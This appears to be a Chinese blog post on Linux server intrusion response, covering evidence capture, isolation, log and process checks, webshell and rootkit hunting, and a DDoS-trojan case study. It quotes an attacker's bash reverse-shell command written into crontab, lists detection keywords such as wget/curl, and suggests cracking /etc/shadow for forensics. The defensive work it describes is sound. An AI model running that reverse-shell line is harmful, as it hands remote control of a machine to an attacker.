Loading [MathJax]/jax/output/CommonHTML/config.js
前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
MCP广场
社区首页 >专栏 >服务器被入侵了怎么办

服务器被入侵了怎么办

作者头像
0xtuhao
发布于 2022-06-21 02:24:50
发布于 2022-06-21 02:24:50
3.1K00
代码可运行
举报
运行总次数:0
代码可运行

遇到服务器被黑,很多人会采用拔网线、封iptables或者关掉所有服务的方式应急,但如果是线上服务器就不能立即采用任何影响业务的手段了,需要根据服务器业务情况分类处理。

下面我们看一个标准的服务器安全应急影响应该怎么做,也算是笔者从事安全事件应急近5年以来的一些经验之谈,借此抛砖引玉,希望大神们不吝赐教。

整体思路

图1将服务器安全应急响应流程分为发现安全事件(核实)、现场保护、服务器保护、影响范围评估、在线分析、数据备份、深入分析、事件报告整理等8个环节。接下来我们将每个环节分解,看看需要如何断开异常连接、排查入侵源头、避免二次入侵等。

思路细化

一、核实信息(运维/安全人员)

根据安全事件通知源的不同,分为两种:

1.外界通知:和报告人核实信息,确认服务器/系统是否被入侵。现在很多企业有自己的SRC(安全响应中心),在此之前更多的是依赖某云。这种情况入侵的核实一般是安全工程师完成。

2.自行发现:根据服务器的异常或故障判断,比如对外发送大规模流量或者系统负载异常高等,这种情况一般是运维工程师发现并核实的。

二、现场保护(运维)

我们很多人看过大陆的电视剧《重案六组》,每次接到刑事案件,刑警们第一时间就是封锁现场、保存现场原状。同样道理,安全事件发生现场,跟刑事案件发生现场一样,需要保存第一现场重要信息,方便后面入侵检测和取证。

1.保存现场环境(截图)

相关信息采集命令如下:

进程信息:ps axu

网络信息:netstat –a

网络+进程:lsof / netstat -p

2.攻击者登陆情况(截图)

相关信息采集命令如下:

查看当前登录用户:w 或 who -a

三、服务器保护(运维/机房)

这里的现场保护和服务器保护是两个不同的环节,前者注重取证,后者注重环境隔离。

核实机器被入侵后,应当尽快将机器保护起来,避免被二次入侵或者当成跳板扩大攻击面。此时,为保护服务器和业务,避免服务器被攻击者继续利用,应尽快歉意业务,立即下线机器;

如果不能立即处理,应当通过配置网络ACL等方式,封掉该服务器对网络的双向连接。

四、影响范围评估(运维/开发)

一般是运维或者程序确认影响范围,需要运维通过日志或者监控图表确认数据库或者敏感文件是否泄露,如果是代码或者数据库泄露了,则需要程序评估危害情况与处置方法。

影响访问评估一般从下面几点入手来:

具体业务架构:web(php/java, webserver), proxy, db等。

IP及所处区域拓扑等:VLAN内服务器和应用情况;

确定同一网络下面服务器之间的访问:可以互相登陆,是否需要key或者是密码登录。

由此确定检查影响范围,确认所有受到影响的网段和机器

五、在线分析(安全人员/运维)

这时需要根据个人经验快速在线分析,一般是安全人员和运维同时在线处理,不过会涉及多人协作的问题,需要避免多人操作机器时破坏服务器现场,造成分析困扰,之前笔者遇到一次类似,就是运维排查时敲错了iptables的命令,将iptables -L敲成iptables -i导致iptables-save时出现异常记录,结果安全人员上来检查时就被这条记录迷惑了,导致处理思路受到一定干扰。

1.所有用户History日志检测

关键字:wget/curl, gcc, 或者隐藏文件, 敏感文件后缀(.c,.py,conf, .pl, .sh)

检查是否存在异常用户

检查最近添加的用户,是否有不知名用户或不规范提权

找出root权限的用户

可以执行以下命令检查:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
grep -v -E "^#" /etc/passwd | awk -F'$3 == 0 { print $1}' 

2.反连木马判断

netstat –a

注意非正常端口的外网IP;

3.可疑进程判断

判断是否为木马 ps –aux

重点关注文件(隐藏文件), python脚本,perl脚本,shell脚本(bash/sh/zsh);

使用which,whereis,find定位

4.Crontab检测

不要用crontab –l查看crontab(绕过检测),也有通过写crontab配置文件反弹shell的,笔者接触过几次,一般都是使用的bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

5.系统日志检测

检查sshd服务配置文件/etc/ssh/sshd_config和系统认证日志auth、message,判断是否为口令破解攻击

/etc/ssh/sshd_config文件确认认证方式;

确认日志是否被删除或者清理过的可能(大小判断);

last/lastb可以作为辅助,不过可能不准确;

6.NHIDS正常运行判断:

是否安装:ls /etc/ossec

是否运行正常:ps axu |grep nhids 三个nhids进程则表示正常

7.其他攻击分析:抓取网络数据包并进行分析

判断是否为拒绝服务攻击,这里需要注意,一定要使用-w参数,这样才能保存成pcap格式导入到wireshark,这样分析起来会事半功倍。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
tcpdump -vvvn -w tcpdump.log

六、安全相关的关键文件和数据备份(运维)

可以同步进行,使用sftp/rsync等将日志上传到安全的服务器。

1.打包系统日志

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
参考:$ tar -jcvf syslog.tar.bz2 /var/log

2.打包web日志:access log

3.打包history日志(所有用户),参考:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ cp /home/user/.history user_history

4.打包crontab记录

5.打包密码文件:/etc/passwd, /etc/shadow

6.打包可疑文件、后门、shell信息

七、深入分析(安全人员)

初步锁定异常进程和恶意代码后,将受影响范围梳理清楚,封禁了入侵者对机器的控制后,接下来需要深入排查入侵原因。一般可以从webshell、开放端口服务等方向顺藤摸瓜。

1.Webshell入侵

1)使用webshell_check.py脚本检测web目录;

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ python webshell_check.py /var/www/ >result.txt

2)查找web目录下所有nobody的文件,人工分析:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ find /var/www –user nobody >nobody.txt

3)如果能确定入侵时间,可以使用find查找最近时间段内变化的文件;

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
$ find / -type f -name "\.?*" |xargs ls -l |grep "Mar 22"
$ find / -ctime/-mtime 8

2.利用Web漏洞直接反连shell

分析access.log

1)缩小日志范围:时间,异常IP提取

2)攻击行为提取:常见的攻击exp识别

3.系统弱口令入侵

认证相关日志auth/syslog/message排查:

爆破行为定位和IP提取;

爆破是否成功确定:有爆破行为IP是否有accept记录。

如果日志已经被清理,使用工具(比如John the Ripper)爆破/etc/passwd,/etc/shadow。

4.其他入侵

其他服务器跳板到本机

5.后续行为分析

History日志:提权、增加后门,以及是否被清理。

Sniffer: 网卡混杂模式检测 ifconfig |grep –i proc

内网扫描:网络nmap/扫描器,socks5代理

确定是否有rootkit:rkhunter, chkrootkit, ps/netstat替换确认

6.后门清理排查

根据时间点做关联分析:查找那个时间段的所有文件;

一些小技巧:/tmp目录, ls –la,查看所有文件,注意隐藏的文件;

根据用户做时间关联:比如nobody;

7.其他机器的关联操作

其他机器和这台机器的网络连接 (日志查看)、相同业务情况(同样业务,负载均衡

八、整理事件报告(安全人员)

事件报告应包含但不限于以下几个点:

分析事件发生原因:事件为什么会发生的原因;

分析整个攻击流程:时间点、操作;

分析事件处理过程:整个事件处理过程总结是否有不足;

分析事件预防:如何避免事情再次发生;

总结:总结事件原因,改进处理过程,预防类似事件再次发生。

九、处理中的遇到的比较棘手的事情

1.日志和操作记录全被删了怎么办?

strace 查看 losf 进程,再尝试恢复一下日志记录,不行的话镜像硬盘数据慢慢查。这个要用到一些取证工具了,dd硬盘数据再去还原出来。

2.系统账号密码都修改了,登不进去?

重启进单用户模式修改root密码,或者通过控制卡操作,或者直接还原系统。都搞不定就直接重装吧。

3.使用常见的入侵检测命令未发现异常进程,但是机器在对外发包,这是怎么回事?

这种情况下很可能常用的系统命令已经被攻击者或者木马程序替换,可以通过md5sum对比本机二进制文件与正常机器的md5值是否一致,如果发现不一致,肯定是被替换了,可以从其他机器上拷贝命令到本机替换,或者alias为其他名称,避免为恶意程序再次替换。

4.被getshell怎么办?

1、漏洞修复前,系统立即下线,用内网环境访问。

2、上传点放到内网访问,不允许外网有类似的上传点,有上传点,而且没有校验文件类型很容易上传webshell。

3、被getshell的服务器中是否有敏感文件和数据库,如果有请检查是否有泄漏。

4、hosts文件中对应的host关系需要重新配置,攻击者可以配置hosts来访问测试环境。

5、重装系统

案例分析

上面讲了很多思路的东西,相信大家更想看看实际案例,下面介绍两个案例。

别人的案例

先讲一个别人处理的,基本处理过程就是:

通过外部端口扫描收集开放端口信息,然后获取到反弹shell信息,登陆机器发现关键命令已经被替换,后面查看history记录,发现疑似木马文件,通过简单逆向和进程查看发现了异常进程,从而锁定了入侵原因。具体内容可以查看:http://www.freebuf.com/articles/system/50728.html。

笔者亲历的案例

再讲一个笔者实际处理过的,基本处理流程跟上面提到的思路大同小异。整个事情处理经过大致如下:

1.运维发现一台私有云主机间歇性的对外发送高达800Mbps的流量,影响了同一个网段的其他机器。

2.安全人员接到通知后,先确认了机器属于备机,没有跑在线业务,于是通知运维封禁iptables限制外网访问。

3.运维为安全人员临时开通机器权限,安全人员通过history和ps找到的入侵记录和异常进程锁定了对外大量发包的应用程序,清理了恶意进程并删除恶意程序。

恶意进程如下,经过在网络搜索发现是一种ddos木马,但没有明确的处理思路:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
/usr/bin/bsd-port/getty/usr/bin/acpid./dbuspm-session /sbin/DDosClient RunByP4407/sbin/DDosClient RunByPM4673

处理过程中,安全人员怀疑系统文件被替换:

通过对比该机器与正常机器上面的ps、netstat等程序的大小发现敏感程序已经被替换,而且mtime也被修改。

正常机器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
du -sh /bin/ps 
92K   /bin/ps
du -sh /bin/netstat 
92K  /bin/psn/netstat  

被入侵机器

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
du -sh /bin/netstat
2.0M    /bin/netstat
du -sh /bin/ps
2.0M    /bin/ps

将部分常用二进制文件修复后,发现异常进程被kill掉后仍重启了,于是安装杀毒软件clamav和rootkit hunter进行全盘扫描,从而确认了被感染的所有文件,将那些可以删除的文件删除后再次kill掉异常进程,则再没有重启的问题。

4.影响范围评估:

由于该机器只是备机,上面没有敏感数据,于是信息泄露问题也就不存在了。

扫描同一网段机器端口开放情况、排查被入侵机器history是否有对外扫描或者入侵行为,为此还在该网段机器另外部署蜜罐进行监控。

5深入分析入侵原因

通过被入侵机器所跑服务、iptables状态,确认是所跑服务支持远程命令执行,且机器iptables为空导致黑客通过往/etc/crontab中写“bash -i >& /dev/tcp/10.0.0.1/8080 0>&1”命令方式进行shell反弹,从而入侵了机器。

6.验证修复、机器下线重装

进行以上修复操作后,监控未发现再有异常,于是将机器下线重装。

7.完成安全事件处理报告

每次安全事件处理后,都应当整理成报告,不管是知识库的构建,还是统计分析安全态势,都是很有必要的。

这次主要介绍了服务器被入侵时推荐的一套处理思路。实际上,安全防护跟运维思路一样,都是要防患于未然,这时候的审计或者响应其实很难避免危害的发生了,我们更希望通过安全意识教育、安全制度的建设,将安全问题在尚未显露端倪时即可消弭于无形。

彩蛋:笔者已将Linux与Windows的安全应急响应流程工具化,稍后会开源到github。

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2018-08-31,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
针对蓝队的Linux应急响应基础总结
针对蓝队的一些Linux应急响应的一些常规的命令以及一些思路总结一下分享给大家,内容稍长,可以收藏以备不时之需。
网e渗透安全部
2023/02/25
1.2K0
针对蓝队的Linux应急响应基础总结
服务器被黑该如何查找入侵、攻击痕迹
当公司的网站服务器被黑,被入侵导致整个网站,以及业务系统瘫痪,给企业带来的损失无法估量,但是当发生服务器被攻击的情况,作为服务器的维护人员应当在第一时间做好安全响应,对服务器以及网站应以最快的时间恢复正常运行,让损失减少到最低,针对于黑客攻击的痕迹应该如何去查找溯源,还原服务器被攻击的现场,SINE安全公司制定了详细的服务器被黑自查方案。
网站安全专家
2019/07/24
4.1K0
服务器被黑该如何查找入侵、攻击痕迹
Linux 应急响应流程及实战演练
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。
信安之路
2018/10/18
5K0
Linux 应急响应流程及实战演练
【应急响应】Linux入侵排查思路
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。
Bypass
2019/07/08
2.7K0
【应急响应】Linux入侵排查思路
应急响应系列之OA被入侵挖矿分析报告
此事件是去年应急处置时完成的报告,距今有半年时间了。一直存在电脑里,最近准备完善应急响应中遇到的各类安全事件,这篇文章作为这一系列的开端。
FB客服
2019/06/28
1.1K0
应急响应系列之OA被入侵挖矿分析报告
Linux系统被入侵后处理经历
春节将至,让安全伴你行。网络安全,从我做起,没有绝对的安全,只有尽可能减少攻击面,提供系统防护能。 背景 操作系统:Ubuntu12.04_x64 运行业务:公司业务系统,爬虫程序,数据队列。 服务器
数据和云
2018/03/07
2.2K0
Linux系统被入侵后处理经历
Linux手工入侵排查思路
当Linux主机发生安全事件需要进行入侵排查时,一般可以使用常见的shell命令,通过分析主机的异常现象、进程端口、启动方式、可疑文件和日志记录等信息以确认主机是否被入侵。
Bypass
2021/04/26
1.7K0
Windows应急响应
当企业发生入侵事件、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。
亿人安全
2022/06/30
2K0
Windows应急响应
运维安全,没那么简单
随着IT技术和业务的发展,以及各式各样安全漏洞的涌现,运维与安全这两个专业日渐交融,人们对运维安全的重视程度越来越高,出现了一个新的交叉领域叫“运维安全”。黑客、白帽子忙于挖掘运维安全漏洞,企业忙于构建运维安全体系,一时间无数漏洞纷至沓来,座座堡垒拔地而起。作者立足自身多年运维安全实践,也来探讨一二。本文按照提出问题到回应答案的思路,先抛出作者对运维安全的理解,并解释了重视运维安全的原因。接着根据在运维安全一线发现的工作陋习以及企业面临的常见问题,整理出通用运维安全问题分类。之后对症下药,提出一个好的运维安全形态:不仅在于工程师们的安全意识,更在于一套相对完整的运维安全体系,从流程到技术,点线面多位一体共同缔造。
0xtuhao
2022/06/21
2.4K0
运维安全,没那么简单
应急响应处置流程Windows篇
文档在自己的文件夹静静的躺了快半年了,好吧,先把应急响应流程步骤(乙方视角)和windows拆出来,在进行应急响应事件处置时需严格遵守公司的应急响应制度。
FB客服
2019/06/03
1.4K0
某单位攻防演练期间的一次应急响应
2021年4月18日再次接到告警用户单位某台内网服务存在web后门木马连接行为,需立即进行应急处置。
FB客服
2021/04/29
2.8K0
实战 | 记一次蠕虫病毒内网传播的应急响应
在整理资料时翻到了当时一些应急处置的情况再次复盘学习一下,因有了此文,在2020年11月27号某新闻中心称中心电脑全部被创建新用户密码锁定无法正常使用计算机,要求相关技术人员到现场进行应急处置。
HACK学习
2022/01/05
5.2K1
实战 | 记一次蠕虫病毒内网传播的应急响应
服务器入侵排查流程
1.查询可疑端口、进程、ip:netstat -antlp | more 或者 netstat -anltp | grep pid,若存在可疑进程可通过 ls -l /proc/PID 查看PID对应的进程文件路径。
iginkgo18
2020/09/27
3.9K0
你的Linux服务器被黑了?看一看是不是犯了这5点错
本文由马哥教育Linux云计算面授班24期学员推荐,转载自互联网,作者为高俊峰,Linux资深技术专家,畅销书籍《循序渐进Linux》、《高性能Linux服务器构建实战》作者,内容略经小编改编和加工,观点跟作者无关,最后感谢作者的辛苦贡献与付出。 安全是IT行业一个老生常谈的话题了,从之前的“棱镜门”事件中折射出了很多安全问题,处理好信息安全问题已变得刻不容缓。 因此做为运维人员,就必须了解一些安全运维准则,同时,要保护自己所负责的业务,首先要站在攻击者的角度思考问题,修补任何潜在的威胁和漏洞,主要分五
小小科
2018/05/03
2.3K0
你的Linux服务器被黑了?看一看是不是犯了这5点错
应急响应之windows入侵排查篇
应急响应(Incident Response Service,IRS)是当企业系统遭受病毒传播、网络攻击、黑客入侵等安全事件导致信息业务中断、系统宕机、网络瘫痪,数据丢失、企业声誉受损,并对组织和业务运行产生直接或间接的负面影响时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,同时分析入侵原因、还原入侵过程、评估业务损失、溯源黑客取证并提出解决方案和防范措施,减少企业因黑客带来的相关损失。本文主要讨论windows被入侵后的排查思路。
FB客服
2021/09/16
2.2K0
day11 | 网络安全应急响应典型案例(挖矿类)
近几年,除勒索病毒外,挖矿木马也越来越流行,多为利用漏洞利用、“永恒之蓝下载器”、弱口令暴破等手段完成攻击,由于其具有较强的隐蔽性,会利用一些手段避开受害者活动时间,利用受害者空闲时间进行挖矿,长此以往,服务器、主机显卡或CPU长期占用过高,导致电脑性能降低,同时攻击者会利用已控制的挖矿主机攻击其他设备,导致业务中断甚至更严重的网络安全事件的发生。
亿人安全
2023/09/25
1.9K0
day11 | 网络安全应急响应典型案例(挖矿类)
应急响应之入侵排查
那么多代码里不可能我们一点点去找后门,另外,即使最好的Webshell查杀软件也不可能完全检测出来所有的后门,这个时候我们可以通过检测文件的完整性来寻找代码中隐藏的后门。
FB客服
2021/02/08
1.2K0
某云用户网站入侵应急响应
1、情况概述 该案例是前期应急处置的一起因安全问题导致的内网不稳定的情况。写下来,和大家一起讨论应急响应的一些思路及其中间遇到的一些坑,欢迎大牛指点、讨论。 情况是这样的:某用户发现在网络经常出现内网中断的情况,经其内部分析,初步判定可能为其在云上的一台虚拟服务器(Linux)异常导致,但是前期对这台虚拟主机进行常规的安全检查与数据包分析,并没有发现其有异常情况。但是用户发现只要这台虚拟主机接入网络就会不定期出现内网中断。该服务器对外只开放 ssh和80。用户为保证其他服务器的安全及可用性,把这台
FB客服
2018/02/26
1.5K0
某云用户网站入侵应急响应
应急响应实战笔记——第1篇:windows 入侵排查
当企业发生黑客入侵、系统崩溃或其它影响业务正常运行的安全事件时,急需第一时间进行处理,使企业的网络信息系统在最短时间内恢复正常工作,进一步查找入侵来源,还原入侵事故过程,同时给出解决方案与防范措施,为企业挽回或减少经济损失。
青灯古酒
2023/10/16
1.3K0
应急响应实战笔记——第1篇:windows 入侵排查
记一次套路较深的双家族挖矿事件应急响应
某日接到用户电话,用户某应用系统微信公众号平台服务器应用运行异常掉线卡顿,运维人员检查后发现服务器存在占用大量CPU资源的恶意进程,且无法清除该进程,导致WEB应用服务无法正常运行。
FB客服
2021/07/27
2.7K1
记一次套路较深的双家族挖矿事件应急响应
相关推荐
针对蓝队的Linux应急响应基础总结
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验